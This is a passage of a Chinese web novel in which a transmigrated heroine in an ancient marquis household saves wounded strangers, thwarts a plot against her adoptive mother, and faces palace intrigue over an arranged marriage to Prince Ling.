《恶毒女配想活命》
2. 第 2 章
好险!
一抹黛色的身影自崖边攀岩而上,裙摆沾染了露水而在空中划出一条流利的线条。
待到江渺在崖边站定,这才惊魂未定的长舒一口气。
要不是上辈子攀岩本领练的扎实,靠着身体的本能反应迅速攀上手边的树枝,现在怕是已经领了盒饭了。
冷静下来,她快步走到女子身边,先查看了她的伤势后,迅速掏出采来的草药为其敷上。
一切处理好,确认女子并无大碍,这才放下了一颗久悬的心。
只要她不死,后面的路她便多一分能够走得下去的把握。
算算时间,一个时辰后,便会有人来救她。
而再过一个时辰,她又会出现在大牢。
不行,不能坐以待毙。
江渺随手抓起一枝断木就在地上比划起来。
记忆里的片段实在不够完整,可恨她当时只以为是场电影,抱着嗑瓜子乐呵的心态压根没细看,只知道整体走向,却不知细枝末节。
如今连是谁要害她,她也不知道。
不过没关系,她一定会把那些人都抓出来,绝不重蹈原主的覆辙。
画面在脑海中翻来转去,最终定格在原主回府后杀死的姑子脸上。看来,要探寻真相,得从这人下手了。
*
“阿洛姐姐,你说咱们能找到小姐吗?”
少女泪眼婆娑的拉着眼前比自己大不了两岁的女子,心里暗叹自己命运悲惨。
小姐素来娇蛮任性,如今已经两日未归,若是出了什么事情,怕是活着见不到明天的太阳了。
阿洛脸上故作镇定的安慰她:“小姐吉人自有天相,会没事的。”
她话音刚落,阿泉眼里的泪珠亮起了光,她激动地拉住阿洛喊道:“姐姐,你看!”
一行人费了九牛二虎之力这才到了江渺所在的地方。只见她身上的罗裙早已破碎不堪,连里衣的衣袖也不翼而飞,露在外面的皮肤布满伤痕,狰狞的落在众人眼里。
只是一眼,女孩子尖叫一声,其余的汉子则尴尬地转过头去。
千金大小姐被他们看了岂不是要被挖眼活埋!
阿洛赶快拿来披风给江渺披上,脸上是惊疑不定,一时间不知道是该跪下还是该以死谢罪。
江渺将披风系好,这才感觉到点暖意,回头看向她话语中带着几分试探:“你是阿洛吧?”
阿洛怔了一下,还是快速的点头:“小姐,奴婢是阿洛。奴婢该死。”
江渺记得,就是阿洛以命换命顶罪这才救了原主出狱,可惜原主丝毫未将这份恩情放在心上。反倒嫌弃阿洛站出来的时间太久,让她在狱中受了些许苦。
真是恶人也有忠仆。江渺暗叹一声,眼下她能信任的也只有阿洛了。
她将阿洛拉到一旁,仔细询问了跟来的一行人身份,得知是阿洛家里舅舅找来的帮手,这才放心的叫上其中两个人与她一起去崖底救人。
等到几个人的身影消失在林边。阿泉瞪着眼睛问阿洛:“姐姐,你有没有觉得小姐好像换了个人。”
阿洛想到小姐握着她的手对她交代照顾好身边的女子的眼神,脸上也浮现出了一丝不解。
小姐不是来杀人灭口的吗?
而且,小姐最爱惜样貌和身体,如今弄成这幅模样,她居然毫不在意,也没有问责发火,确实有些不一样了……。
可,不管怎么样,只要她是小姐就够了。
她回头给阿泉嘘了一声,低声道:“别胡说,小姐就是小姐。怎么变。去看看那人情况吧。”
阿泉点头。
太好了,小命好像保住了。
这边江渺和两个汉子一前一后来到被她藏起来的男子身边。她伸手把脉,定睛一看,男子面色已有好转,稍稍放心下来,嘱咐两人将男子扛着准备下山,只需找个地方修养,待她研制出解药,便无大碍。
两人依言搬动男子,江渺刚刚转身,却听得身后传来一声惊呼。
“小姐,真的要救他吗?”其中一名男子突然出声询问。
江渺略带疑惑地回头看过来,只见一穿着粗布麻衫,身材瘦削,看着比她还小两岁的少年指着因搬动而从受伤男子身上掉落的玉佩道:“回姑娘,您看这玉佩。”
江渺有些不解。少年将玉佩捡起来送到她面前,“通体透彻,内里泛着蓝光,细看还能看到一道龙纹。此等含有蕴像的玉佩,向来只作为贡品藏在大内深宫,或者赏赐给亲王宗室。”
晨光下,江渺的眼光在玉佩身上流转,确如他所说一般无二。
“这山山势险峻,等闲人家尚且不会踏足,更别说身份高贵者前来。再者此人重伤,莫不是偷了宝物被人追杀至此?”
江渺愕然地看着眼前的少年,没料到阿洛随便找来的村夫中竟有如此人物,不仅见多识广,还能一针见血的指出问题所在。如此胆识魄力,怕并非一般的等闲之辈。
确实如此。此山常有匪盗出没,这也是原主选择在这里杀人灭口的原因之一。
江渺有太多理由不救他。可是也有唯一一个理由要救他,她是名医者。
从伦理角度来说,每个人都有平等的被医治的权利,她不能因为她的害怕,以及不确定的猜测就枉顾性命。
良久,她的长发在风里扬起,眉眼灿若星辰,嘴角微微一勾对少年说道:“无妨,若是他是坏人,我能救他也能亲手送他去见阎王。”
*
江渺仔细盘算过,原主被抓时是午后。此时正是天明未明之时,官兵若无任务不可能夜半来山中巡查。
所以她大概估算了阿洛一行人与她的距离,又去找来柴火,费了半天功夫才点燃了自己身上所剩无几的衣料。
好在她的推算没错,他们真的根据火光在天亮前找到了她。
但是她现在担心一件事情,这场所谓的抓捕,实际上就是冲她来的。
于是江渺留了个心眼,自己扮作侍从带着重伤的两人有意识的和阿洛他们拉开了距离。
果然不出所料,他们一行人刚下山就被守株待兔的官兵抓了个正着。
阿洛早已听了吩咐和官兵你来我往,只说是跟着自家亲人上山采野草,见官兵要盘问又哭天喊地的闹了一番。
官兵们也是无奈,又有任务在身,眼见着没抓到要紧的人物不好交差,只得催着阿洛他们快走。
趁着官兵们手足无措的应对突发状况,江渺几人神不知鬼不觉的从侧边小路离开。
阿洛见小姐成功脱险,给众人使了个眼色,一行人装作心有不甘的样子,骂骂咧咧地离去。
等到阿洛与江渺汇合,一颗心还在扑通扑通跳个不停,心有余悸道:“小姐,可真是吓死我了。”
江渺笑道:“阿洛,你做的很好。演技一流。”
阿洛愣愣:“什么是演技……”
江渺拍拍她的肩:“就是说你做戏做的很
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好,情真意切,娇憨可人,连我看了都不忍……不忍伤害。”
阿洛见她打趣自己,面上一红,还不知道怎么开口,江渺的语气又变得严肃起来,“阿洛,今天这只是开始,以后怕是我们要在刀林剑雨里生活了,你害怕吗?”
小姐是千金之躯,怎么会讨生活呢?阿洛不懂江渺这句话的意思,但是她还是坚定的点头:“不怕,只要跟着小姐,奴婢什么都不怕。”
江渺满意的笑笑。
原主上辈子落得一个众叛亲离尸首异处的下场,也是咎由自取。这么好的侍女,竟然替她顶罪也毫不怜惜。真是活该。
片刻她又拉过阿洛轻言道:“放心吧,我会保护好你的。”
阿洛还没从她的话里回味过来,又听她在耳边道:“眼下我有更重要的事情要做,你能帮我照顾好这两个人吗?”
阿洛点头。
想了想,这女子倒可以装作侍女带回寺里,但是男子确实不方便。
她的目光落在那名少年身上,江渺问:“你叫什么名字?”
“回小姐,小人姓杨名安石。大家都叫我石头。”
少年说完这话抬头起来,微光里江渺终于看清他的面容,只觉得有几分在哪里见过的感觉,却一时间想不起来,也不再想指着男子道:“好,石头,你能帮我找个地方将他安置下来吗?”
杨安石点头:“我家后院有个空置的房子,可以照看这位公子。”
江渺颔首:“那就拜托你了。银钱的事你不用担心,等我安置好便来找你们。”
交代好一切,几人分头出发。
江渺必须要尽快赶回万安寺。她记得,母亲就是在这一晚被行刺惊了胎气。
她要抓住这个贼人,揪出她的幕后黑手。
打定主意,江渺顿觉连日来疲惫不堪,身体已经到了极限。
吃饱睡好才有力气干活!
吃了点阿洛递过来的糕点,嘱咐了几句,整个人便靠着马车,跟着它的节律沉沉睡了过去。
江渺做了个梦。
梦里是她看不清楚样子的人,正在一刀一刀的将她身上的肉切割下来。
他阴冷而低沉的笑声回荡在她的耳边,笑的她毛骨悚然。
一阵剜心挖骨的疼,一惊,她猛地坐起来,一身大汗淋漓。
“小姐,您没事吧?”
眼中浮现阿洛担心的面容,江渺这才发现马车已经停在了万安寺前。
她摇摇头,接过阿洛递过来的手帕抹去冷汗,还没有下车,一阵惊呼就在耳边响起。
“渺儿啊。是我的渺儿吗?你去哪里了,吓死娘了。”
一个身姿卓越,带点年纪更加风韵犹存,穿着华丽的妇人映入眼帘。
她认得她。
这是长阳侯府的当家主母柳如云,长阳候江伯玉的毕生所爱,是江渺的养母。
一声声关切将江渺从刚才的梦境中拉入现实,她下马车迎上去,妇人拉着她的手上下打量,见她脸上的伤痕,情绪越发激动起来:“怎么回事?怎么伤成这样了。”
一旁的微云见状连忙阻止:“夫人,大夫说您要注意身体,切莫忧思动气。”
江渺也回首拉住母亲,劝道:“母亲,女儿没事。此时说来话长,您先别担心我。”
几人拥着母女二人进了内室。
刚刚行至院内,江渺下意识地看了一眼与房门相连的暗角。
不对!
3. 第 3 章
正值初夏,万安寺三面环水,空气中弥漫着淡淡的雾气。
可因着长阳候夫人在此静养,万安寺众人将院落收拾得干净整洁,连青苔也不曾遗落一处。
近日未曾下雨,按理说院中不至于湿滑,但江渺忆起母亲被行刺那日,说是传来原主被关押的消息,慌忙出来,撞翻了花盆,不幸滑倒。
顿时院中大乱,这才让贼人有了可趁之机。
于是江渺特意观察了院中的陈设,一进来便发现墙角处多了两盆装满鹅卵石的云松。
“微云,那边怎么多了两盆云松?”江渺一边拉着母亲向前,一边侧头问扶着柳如云的大丫鬟。
微云看了一眼,答道:“是表小姐送来,说是给夫人安神来的。”
“表小姐?江灵儿?”
微云摇头:“璟儿小姐。”
江璟儿和江灵儿姐妹俩是长阳侯府旁支所出,父母双亡得早,江伯玉怜惜两姐妹无依无靠可怜,便接来府中同住。
姐妹二人性情迥异。姐姐江璟儿年长几岁,行事稳重,知书达理。原主对她印象颇佳。
而妹妹江灵儿与原主年岁相仿,入府后便对原主是唯命是从。暗地里也没少撺掇原主一起做恶事,两人皆是一丘之貉。
柳如云见江渺盯着两盆树,柔声道:“渺儿可是喜欢?拿去便是。”
江渺摇摇头,她心里有疑惑,此时还是不要打草惊蛇的好,便回:“既是璟儿姐姐送给母亲的,我怎好夺爱。只是看着造型别致,所以多看了两眼。”
柳如云不疑有他,道:“璟儿那孩子听说我夜里难眠,特意寻来这安神静气的卧云松。”她转头又对微云说:“既如此,回府后就搬到内室去吧。”
“是,夫人。”微云轻声应下,指挥人将盆景挪到廊边通风明亮处安置。
江渺微微蹙眉。柳如云自确认有孕后,便因心绪不宁、夜难安寝,这才搬到这万安寺静养,图个清静,此事府中上下皆知。
江璟儿素来体贴周到,只是这心意,送到这远离侯府的寺庙中来,是否过于郑重其事了些?
但愿是我多心了,以小人之心度君子之腹。她暗自思忖,可视线落在那光滑的鹅卵石上,终究是不放心。
她转向柳如云,温言道:“母亲,我看这廊下虽然敞亮,但往来洒扫的丫鬟婆子多,万一哪个不小心绊倒了,撞翻了花盆,惊着母亲反倒不美。您如今身子重,万事都需谨慎。不如,暂且将这两盆松树挪到女儿房中,由女儿代为照料几日?待咱们回府之时,再送还到母亲院中,如此可好?”
柳如云闻言,先是一愣,随即望向江渺的眼神中充满了惊喜:“渺儿,你,你竟懂得这般为娘着想了……”
自从江渺失踪后,这几日的担惊受怕、焦灼忧虑,在此刻仿佛变得有意义,她一边用帕子拭泪,一边却又忍不住露出欣慰的笑容,“好好好,就依你,都依你。”
江渺怔住。她自出生便父母双亡,从未感受过家人的温情,本是充满算计的劝说,可柳如云的眼泪滴落在她的手心,竟烧灼得她心中一颤。
脑海里闪过那些既定的画面,柳如云在真千金林清月回府后误食了毒药,本在被行刺后就孱弱的身体,抗不过去,没过多久便香消玉殒。她的早亡间接的让原主行径越发疯狂。
重来一世,要做的事情还有很多。
江渺像是下定决心般回握住柳如云的手:“以前诸多是女儿不懂事,让您操心。如今遭了这一劫,想明白了许多,女儿断不会再任性妄为。”
两人拉着说了些体己话,江渺又避重就轻将自己受伤的事遮掩过去,但见母亲眉眼间是倦怠之意,便亲自伺候她歇下。
直到柳如云睡着了,江渺这才退出内室,抬手招呼微云过来。突然附到她耳边说了几句。
*
夜深如泼墨。
柳如云被一阵打闹声惊醒,睡意朦胧间,隐约看着几道模糊的影子在廊下仓皇地掠过,又传来急切的脚步声,像是踩在了她心上,急急便要掀被起身。
听到动静,微云快步从外间进来,及时按住了她的肩膀,轻声安抚:“夫人莫惊,没事了。是个不长眼的小毛贼,摸错了地方,已经被小姐设计拿住了!”
“贼?佛门清净地,怎么会有贼?”柳如云脸色一白,手下意识地护住小腹,急声道:“渺儿呢?我的渺儿没事吧?!她人在哪里?”
“夫人放心,小姐毫发无伤!”微云连忙保证,语气中带着几分惊叹:“小姐聪慧,早有防备。那贼人刚摸进来,就被小姐设下的绊索和埋伏抓了个正着!小姐此刻正带着人在外面处置,特意交代奴婢进来守着夫人,怕惊着您。”
正说着,外面的喧闹声已经渐渐平息,只剩下一些低沉的呵斥与拖拽声。
柴房内,江渺挥手让那两个粗使婆子和武僧先行退下,只留下阿洛在一旁举着灯。
那被捆得结结实实的刺客被丢弃在干草堆上,嘴里的布团已被取出,但依旧低垂着头,一言不发。
手中灯火跳动,落在刺客细长的身体上,江渺心中微动,俯下身,伸出两指,捏住了对方蒙面的黑布下缘。轻轻一扯,一张清秀的面容暴露在灯光下。
果然是个年轻女子!看上去不过十七八岁年纪,眉眼间带着一股倔强和挥之不去的戾气,此刻正死死咬着唇,几乎要咬出血来。
“女子?”一旁的阿洛低呼一声,显然也十分意外。
江渺亦是讶异,她将那黑布丢在一旁,无视女子眼中的怨恨,直截了当道:“谁派你来的?目的为何?为什么要行刺侯府夫人?”
女子不语,只死死盯着江渺,仿佛要将她用眼光杀死。
“你不说,也无妨。我有的是时间和你耗。”
江渺看她一时半会不会松口,也不恼怒。转身对阿洛吩咐道:“看好她,除了送吃食,任何人不得接近。若她试图自尽,不必客气。”
“是,小姐。”阿洛肃然应道。
江渺推开柴房的门,走了出去。
外面天色已蒙蒙亮,寺庙的轮廓在晨曦中渐渐清晰,空气清新冷冽,带来几分山风的爽朗。
眼前最大的危机似乎暂时解除。只要抓到幕后指使者,问清缘由,解决问题,那她这条小命才算真的有了保障。
绷着的神经终于卸下一丝防备,江渺抬脚换了个方向。
她饿了!
饿了就要吃饭。
吃饱了才有力气斗智斗勇!
本能驱使她来到膳堂,才跨过门槛,便有一个姑子抬起头,见到她,脸上露出明显的诧异,连忙迎了上来:“江小姐,您怎么亲自过来了?可是夫人那边有什么吩咐?”
这万安寺香火鼎盛,来往的官宦家眷众多,像江渺这等身份的侯府千金,平日用膳多是遣丫鬟过来领取,或是直接由寺中人送至院落,鲜少会亲自踏入这人员混杂的膳堂。
江渺微微一笑:“师傅不必多礼,并无吩咐。只是醒来觉得有些腹饥,想来看看有什么斋饭可以果腹。”
那姑子闻言,更是惊讶,忙道:“小姐您来得不巧了。方才贵府上的璟儿小姐已将您院里的早膳一并领回去了,此刻想必已经送到您院中了。”
江渺脚步一顿,有些愕然
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。
江璟儿?她怎么又来了?
侯府距万安寺可有一个时辰的路程,此刻才刚天亮,她夜半就出发了?
一种微妙的不适感在心头萦绕,江渺只好点头谢过,径直回了院子。
果然刚进院门,阿洛便在收拾食盒。
江渺左右环顾了一圈,问:“璟儿姐姐来过了?”
阿洛道:“表小姐送了餐食过来,又与夫人请了安,已经回去了。”
跑的倒是挺快?
大老远过来就为请安?
江渺盯着桌上的饭菜看了看,拿出银针来试了一试,这才放心的就着清粥,慢慢用了些素包和小菜。
刚吃下两口,还未来得及喝口热茶顺一顺,一名姑子便通传门外有位姓杨的公子求见。
江渺一听名字,立刻放下碗筷,对阿洛使了个眼色。
阿洛会意,迅速开门出去,不多时,便引着杨安石进来。
江渺开门见山道:“可是那位公子病情有了什么变化?”
她是相信自己的医术的。但是对杨安石突然来访,心里又变得有些七上八下。
杨安石脸上带着几分焦急,也顾不得行礼,压低声音急急禀告:“小姐,那位公子病情没有变化,就是,就是他不见了!”
“不见了?”江渺心头一沉,倒是没想到这个答案,急忙追问:“那可留下什么东西吗?”
杨安石答:“未曾,仿佛未来过一般。连被子都叠好放置在旁。”
闻言,江渺神色松下来,对杨安石道:“知道了。你且先回去吧,就当什么都不知道。”
杨安石应声离开后,阿洛倒是疑惑问:“小姐好不容易救了这人,他不会死了吧?”
“不会。”江渺低着头喝了口粥。
此人深陷山谷,性命垂危,定是被人追杀至此。他的仇家刀刀狠厉直取其性命。若是仇家寻来可没心思还给他叠被子。
也好,这人身份不简单。放在杨安石家中也是权宜之计,他伤势已经暂无大碍,只是身中奇毒,还需时间去配置解药。眼下事情繁多,也无暇顾及到他。
正在想着,微云就来传话说柳如云有急事寻她。
江渺拾掇拾掇,跟着微云去了柳如云的卧室,一进门便见她眼角带笑,整个人神采奕奕,仿佛遇到了天大的好事。
“母亲这是怎么了,如此开心?”
柳如云拉江渺过来坐下,笑道:“你父亲传书信过来,让我们明日回府。”
“这么急?”江渺愕然,按照原计划他们是还要多住上几日的。
柳如云笑道:“是你的事有着落了。你父亲说,佳贵妃娘娘已同意了你与陵王殿下的婚事。下个月,要举行赏花宴,遍请城中贵女。你得抓紧时间学习规矩才行。”
陵王?赏花宴?
江渺脑中“嗡”的一声。
是了,江渺想起来确有此事。
一场秋猎,原主对风采翩然的陵王一见钟情,此后便像是着了魔一般,哭喊着非陵王不嫁,更不惜与安乐郡主为敌。
两人在各种场合争锋相对,拈酸吃醋。陵王不堪其扰,甚至以此为借口,主动请缨去了偏远的南靖督察政务,直到几天前才刚刚返回昌都。
这些都不是重点,重要的是江渺虽然不知道是谁杀了原主,但,原主是死在皇家。
这要嫁过去岂不是自投罗网?
问题是,这门亲事还是她主动求来的!
这不是作茧自缚吗?
没事没事。
江渺深吸一口气,思绪翻飞间,她突然想到了好办法!
4. 第 4 章
江渺陪柳如云说了会儿话后直接回了自己的房间。
略作思考,提笔写了封信。
随即叫来阿洛,嘱咐她一定要亲自交给杨安石。
阿洛领命,前脚刚出门,阿泉便急急忙忙地跑进来,见到江渺也来不及行礼,嘴上喊道:“小姐,不好了,不好了……”
江渺见她上气不接下气,伸手递给她一杯温茶,柔声安慰:“别急,有什么事你慢点说。”
阿泉接过茶盏,顺了口气才带着哭腔道:“那……那柴房的,柴房的贼人,死了!”
“什么?!”
江渺手指一紧,险些将手中的茶盏打翻,不自觉催促道:“怎么回事?说清楚!”
“奴婢……奴婢也不知道啊。”阿泉吓得脸色惨白,“刚才,奴婢按例去收拾碗筷,就……就发现她倒在地上,一动不动。奴婢起初还以为她是睡着了,走近了才看清,她七窍流血,眼睛瞪得老大,已经……已经没气儿了!”
七窍流血,死不瞑目!
江渺心猛地沉了下去。她立刻跟着阿泉,快步赶往关押女刺客的柴房。寺中武僧闻讯也已赶到,正守在门外,面色凝重。
柴房内,那女子依旧被绳索捆缚着,歪倒在地,双目圆睁,有鲜血从她的脸上滑落,宛如玫瑰绽开在黑夜,让人不忍直视。
种种迹象皆是中毒症状,且这还是一种毒性猛烈的毒药。
“早上送来的膳食和水,她一点都没动?”江渺扫了一眼地上的食盒,沉声问向负责看守的武僧和婆子。
几人纷纷摇头肯定。那碗糙米粥和清水原封不动地放在角落,落了些灰尘。
江渺亲自检查了碗盏和水杯,并无问题。她又仔细搜查了女子周身和柴房各个角落,可惜也发现任何可疑的东西。
这就奇了!一个被捆得结结实实、严密看管的人,是如何在众目睽睽之下,中毒身亡,毒从何来?
“今日上午,除了送饭的阿泉,可还有其他人接近过这里?”江渺目光扫过一众看守。
几人面面相觑,努力回想。
其中一个婆子似乎想起了什么,犹豫着开口道:“回小姐,上午……灵儿小姐来过一趟。她说听说抓到了惊吓夫人的贼人,想来看看是什么样穷凶极恶之徒。”
江渺神色一凝:“她进来了?”
“没有没有,”婆子连忙摆手,“灵儿小姐只是在外面的院门口,远远地朝柴房这边望了几眼,问了奴婢两句贼人是否老实,奴婢回话说捆得结实,跑不了。她听了也就走了,并未靠近柴房十步之内,奴婢们都可以作证。”
江灵儿?只是远远看了几眼?
江渺眉头紧锁。
听起来似乎并无不妥,像是江灵儿能干出来的事。印象中她虽然跟着原主作恶多端,可却是个没有心机的。
她应该想不到那些隐蔽的下毒方法。
线索,在这里彻底断了。
江渺看着地上那具逐渐冰冷的尸体,心中涌起一股巨大的无力感和愤怒。
好不容易抓到的活口,一个可能揭开谜团的关键人物,就在她眼皮子底下,以这种诡异的方式被灭了口。
对方的手段,简直防不胜防!
良久,江渺深吸一口气,压下心中的情绪,对寺中武僧头领道:“此事蹊跷,但人既然死在了寺中,终究不祥。劳烦师傅们寻个僻静处,将她好生安葬了吧。此事……也请寺中暂且保密,莫要声张,以免引起不必要的恐慌。”
武僧头领也知此事关乎侯府声誉,连忙应下,指挥人手处理后续。
回到房间,江渺又将自己目前所知道的信息进行了整理。
想着想着一个念头在脑海中飞速闪过。
或许,原主前世一步错,步步错,直至犯下弥天大错,一切都并非偶然。
可能,原主早就身处在别人的算计中,而她却浑然不知。
虽说原主枉顾性命,滥杀无辜也确实该死。可是何必对一个头脑简单恃宠生娇的女子步步算计?
究竟是何仇怨,一定要让她死无全尸?!
*
玉辰宫
袅袅青烟至香炉里升起,半垂的月笼沙在清风里飘摇,搅乱了一室暗香。
轻纱里,华贵而艳丽的妇人斜倚在金丝编织的褥垫上,眉眼间带着一丝慵懒。她身边的小丫鬟正专心的为她剥开新上供的荔枝。
可这闲情逸致并未持续多久,一个急促的女声从门外传来:“狗东西,你敢拦着我?!睁开你的眼睛看看我是谁!”
喧嚣划破室内的清净,佳贵妃轻轻蹙眉朝身边的侍女看了一眼。
彩月心领神会走过去,一开门还未拦住眼前的人,她便如蝴蝶一般扑了进来直奔塌前,甚至没来得及行礼。
“姑母!外面的传言是真的吗?!您真的同意了陵王哥哥与江渺那贱婢的婚事?!”
佳贵妃眉头轻挑,眼里蒙上几分不悦,但她还是不疾不徐的开口,带着久居高位的冷意:“安乐,你身为郡主,金枝玉叶。何时学的如此出言不逊?待到江渺嫁进王府,按礼制,你也得尊称一声王妃嫂嫂。”
“王妃?她也配?!”安乐气急败坏的大叫:“姑母!谁不知道那江渺是个什么货色!不过是长阳侯府一个不知礼数、任性妄为的养女!她哪里配得上陵王哥哥!姑母,您明明知道我的心意……”
“你的心意?”佳贵妃打断她,“本宫自然清楚。正因为清楚,才更不能由着你胡闹。”她挥了挥手,示意殿内侍立的宫人尽数退下,只留下彩月一人。
“你私底下做的那些事情真当我不知道吗?竟敢和官府勾结设计捉拿她?要不是你计划没成功,你以为你真抓了江渺,江伯玉会善罢甘休?”
安乐面色一白,还要辩解:“我,我只是……,她不过是个养女!”
“养女?!“佳贵妃厉声打断她:“可偌大的侯府只有她一个养女!你别忘了,你能有今天的风光是借着谁的势!若你坏了大事,你看你还如何自处! ”
安乐如同脱力一般向后歪斜了一下,幸而及时扶住了桌角才未跌倒。
她确是父王众多子女中最不受宠的一个,生母地位卑微,若无姑母怜惜提携,她恐怕早已被遗忘在王府某个偏僻的院落,哪儿还能有如今的地位。
姑母的势,便是她在世上立足的根本。若失了姑母的欢心……
可本属于她的陵王妃之位就要拱手他人?!
她不甘心!
姑母话又如同针一般刺在心头,安乐颓倒在地久久无言。
佳贵妃见她这模样,心知敲打足够,语气稍稍放缓下来:“安乐,在皇家最不该有的便是多情。收起你那些不该有的心思,安安分分做你的郡主。下去吧,本宫乏了。”
“是。谢姑母……”安乐麻木的站起身来,如同机械一般走出去。
等到殿内重新恢复宁静,佳贵妃眼底掠过一丝复杂。
她重新倚回软垫,对侍立一旁的彩月淡淡道:“这丫头,心思还是太浅,容易坏事。看来,得尽快将陵王与江渺的婚事定下,免得横生枝节。长阳侯府这条线,必须牢牢握在手中。”
彩月低声应道:“娘娘圣明。只是……那江小姐听闻遭受变故后,性子似乎有些变化……”
佳贵妃漫不经心地拨弄着腕上的翡翠念珠,唇角噙着一丝若有若无的笑意:“任她如何变化,终究是个没什么根基的养女。在绝对的实力和权势面前,些许小聪明,翻不起浪花。本宫要的,是长阳侯府的倾力支持,至于王妃是个什么样的人……听话,便够了。”
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忽而她又想到了什么,提高声音问:“陵王点头了么?”
彩月摇头:“还未。”
佳贵妃揉揉眉心,挥手打掉侍女递过来的荔枝:“都是些心思浅薄的东西!”
*
翌日。
马车在长阳侯府门前缓缓停稳。早得了消息的江璟儿与江灵儿已带着丫鬟仆妇在门口等候。
见到柳如云和江渺下来,立刻上来见礼。
等到几人互相寒暄完,一个身影才急匆匆从里间赶来。
“夫人!”
他目光落在柳如云身上,脸上挂着笑意,“公务缠身,没来得及相迎接,夫人不要见怪。”
说着,江伯玉伸手要去扶柳如云,却被柳如云几乎不可察觉地用整理披风的动作避开。
“有劳侯爷了,不妨事。”
怎么这两人关系似乎有点微妙?江渺见江伯玉的手落了空,先开口唤他,“父亲。”
这时江伯玉才顺势将手收回,转而拍拍江渺的胳膊:“听闻渺儿在山中受了惊吓,如今可安好了?”
“劳父亲挂心,女儿已无大碍。”江渺说着这话,却见江伯玉虽是在问她,带着笑意的眼光却没有从柳如云身上挪开。
许是母亲在置气父亲没来迎接?
江渺目光不着痕迹的上下打量了一眼这个在原主记忆里自从柳如云离世后就没有再给过她好脸色的父亲,心中了然。
看来,江伯玉对柳如云,确实是倾注了所有心意的真爱。
而她这个养女,不过是“爱屋及乌”的产物罢了。
恐怕往日里父亲对她展现出的那些宠爱与纵容,其根源,也大半是源自对母亲柳如云的深情与迁就。
没想太多。
江伯玉亲自将几人送入主院,细致地叮嘱了下人好生伺候,便欲转身离开。
临出门前,他脚步微顿,特意看向江渺和江灵儿,沉声嘱咐:“今日府中来了贵客。你们两个丫头,莫要在府中随意乱跑,尤其是前院附近,以免不慎冲撞了贵人,失了礼数。”
他说完,又看向一旁娴静站立的江璟儿,“璟儿,你素来稳重,便多看顾一下两个妹妹。”
江璟儿立刻柔顺地屈膝应道:“叔父放心,璟儿定当谨记,会照顾好渺妹妹和灵儿妹妹的。”
江伯玉满意地点点头,又深深看了一眼已转身走向内室的柳如云的背影,这才大步离去。
伺候柳如云休息下后,江渺正和阿洛说着要将带回来的女子安顿在后院,江灵儿却突然冒出来:“渺姐姐,什么女子?”
江渺迅速给阿洛递了一个眼神,阿洛心领神会地走开,江灵儿望着她的身影,好奇的追问:“阿洛去哪里?”
江渺反手将江灵儿拉住,“灵儿妹妹怎的又回来了?”
被岔开话题的江灵儿突然想起自己的来意,抓着江渺的胳膊喊道:“渺姐姐,花园的荷塘新放了几尾锦鲤,色彩斑斓的,可好看了,我们一起去瞧瞧吧?”
花园虽然距离前厅有一定的距离,但是右侧方却有一条连接江伯玉书房的游廊,而荷池又在游廊旁。
是故意的?还是?
“锦鲤?倒是有趣。只是父亲刚才嘱咐我们不要乱跑,我们若是过去了,璟儿姐姐知道了,怕要说我们……”
“不会不会!”江灵儿着急开口打断江渺,“渺姐姐放心,璟儿姐姐知道,她还说……”
忽然,她下意识地改口:“我,我是说我们只是看鱼,不靠近前院,姐姐她定然不会怪罪我们。”
闻言江渺轻笑一声道:“这样啊,但是我今儿才回来,身子还乏得很。妹妹先去吧!”
江灵儿张张嘴,但见着江渺眉眼间露出倦怠之色,也不再邀约,体贴地让她早点休息,径直走了。
5. 第 5 章
“你说什么?妹妹她真没和你一起去?”江璟儿端着茶水的手一顿,眼里浮现几许诧异,连带嘴角惯有的笑容都停滞了几秒。
“是的,渺姐姐看起来累了。”江灵儿胡乱塞了块点心在嘴里,含糊答道:“所以我就没硬拉她一起去。”
“那你……去了没?”
“没啊。”江灵儿擦擦嘴,随意说“”我早就看过了,要不是你说渺姐姐喜欢锦鲤,我才不去呢!你不知道今天多热!”
江璟儿听着她这般没心没肺的回答,心头的违和感越发清晰,也没了喝茶的兴致。
按理说,江渺最是任性妄为,江伯玉嘱咐她不做的事情,她向来不放在心上。又是喜欢新事物,听说有新来的锦鲤,她竟然不跟着去?
以前从未这样……
江璟儿突然想起来,对了,她送给柳如云那两盆卧云松,原本放在门口,后来也不知怎么着去了江渺的房里。
可惜了她精挑细选了那么多光滑如玉的鹅卵石,竟没用上。
还有那女子!
也是废物!
越想越气,她竟一用力撞倒了茶盏。
热茶滚滚落下来,惊得江灵儿一跃而起:“姐姐,茶,茶洒了!”
听着江灵儿的声音,江璟儿这才回神,怒气转瞬即逝,脸上重新端起那温婉的笑:“瞧姐姐这么不小心。茶水可溅着你了?”
刚才姐姐脸上……
是错觉吧?
是的,姐姐最是温柔。
江灵儿摇摇头,不再多想。
*
“小姐,小姐!”阿泉一阵风般地闯进屋子,连礼数都顾不上了,脸上煞白,嘴唇哆嗦。
阿洛正要上前制止她这般冒失,就见原本靠在榻上小憩的江渺已迅速坐起身,沉声问道:“别慌,出什么事了?慢慢说。”
“那,那个咱们带回来的姑娘,好像,好像不行了!”
真是倒霉催的!阿泉心里叫苦不迭。
怎么小姐让她照顾谁,谁就一副要立马去见阎王的架势?
她只是个小丫鬟,不是索命的黑白无常啊!
小姐会不会觉得她命格不好,是个灾星,一怒之下把她赶出侯府?!
江渺脸色骤变,一波未平一波又起。
这人绝不能出事。
她也顾不得休息,嘱咐阿洛拿上角落的箱子就疾步走出门。
情况紧急,从她的暗香斋到后院最近的路便是穿过花园侧旁的小道。
江渺脑中飞快地回想女子的伤势以及可能恶化的原因,并未留意周遭的景致。
等到她刚要转过月亮门绕过一处造景时,斜侧忽然走出几人。
“唔……”一声压抑的闷哼声从头顶传来,江渺下意识抬头,倏然撞进一双深邃如潭的眼眸中。
待看清楚对方的脸,她的心猛地提到了嗓子眼。
是他?
他怎么在这里?
眼前之人竟是失踪的崖下重伤男子。
刚刚那一下应该是撞到了他的伤口,几乎本能的江渺想要查看他的伤势,却被他锐利的眼光扎在原地动弹不得。
心思百转千回,最后江渺的眼光落在男子身后站着的父亲身上。
怕是他受伤之事不能与外人道。若是她露出什么马脚,恐引火上身。
她飞速向后一退,正要开口道歉,江伯玉抢先呵斥道:“渺儿!冒冒失失,成何体统!”
他的目光绕了一圈落在阿洛手上的的箱子上,“这般急匆匆的,是要去哪里?手上拿的是什么?”
江渺心中焦急那重伤女子的情况,却不得不先应付眼前,只能低声回道:“回父亲,女儿……女儿想去后院转转,透透气。”
重伤女子之事,牵扯太大,多一人知道多一分危险,她不能暴露她的消息。
